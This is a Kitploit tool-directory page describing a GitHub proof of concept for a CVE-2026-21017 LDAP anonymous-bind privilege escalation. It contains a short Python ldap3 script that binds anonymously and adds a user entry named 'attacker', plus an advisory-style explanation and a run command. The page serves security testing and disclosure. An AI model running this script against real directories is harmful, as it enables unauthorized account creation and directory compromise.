Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-21017-LDAP-Anonymous-Bind-Privilege-Escalation — Python proof-of-concept for LDAP anonymous bind privilege escalation, simulating insecure ACLs to create admin users via unauthenticated LDAP binds. | Kitploit
Tools/GitHubGitHub/george0papasotiriou/cve-2026-21017-ldap-anonymous-bind-privilege-escalation
Authentication & AuthorizationPrivilege EscalationVulnerability AnalysisExploitationPenetration TestingMisconfiguration
GitHubgeorge0papasotiriou/cve-2026-21017-ldap-anonymous-bind-privilege-escalation

CVE-2026-21017-LDAP-Anonymous-Bind-Privilege-Escalation

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Python proof-of-concept for LDAP anonymous bind privilege escalation, simulating insecure ACLs to create admin users via unauthenticated LDAP binds.

View Repository
71 month agoNot yet reviewed

CVE-2026-21017 – LDAP Anonymous Bind Privilege Escalation

Program Code (Python ldap3 sim)

root@kitploit:~
# ldap_anon_sim.py - LDAP server allowing anonymous bind with write access
from ldap3 import Server, Connection, ALL

# Simulated: real server would be misconfigured
server = Server('ldap://localhost:389', get_info=ALL)
conn = Connection(server, authentication='ANONYMOUS')
conn.bind()
# If anonymous has write permission to userPassword, can add self as admin
conn.add('uid=attacker,ou=people,dc=example,dc=com', ['inetOrgPerson'], {'uid': 'attacker', 'userPassword': 'password'})
print("User created anonymously!")

CVE-2026-21017 – LDAP Anonymous Bind Privilege Escalation

Severity: Critical

Overview

An LDAP directory is misconfigured to allow anonymous binds and also grants write access to sensitive attributes (like userPassword). An attacker can bind anonymously and create a new admin user, escalating privileges.

Vulnerability Details

  • Type: Insufficient Access Control
  • Impact: Full directory compromise.
  • Root Cause: The access control list (ACL) does not restrict writes to authenticated users.

Exploit Demonstration

Run the simulation (requires an actual LDAP server for real test, but we show concept):

root@kitploit:~
python ldap_anon_sim.py

The script attempts to add a user anonymously.

Download Tool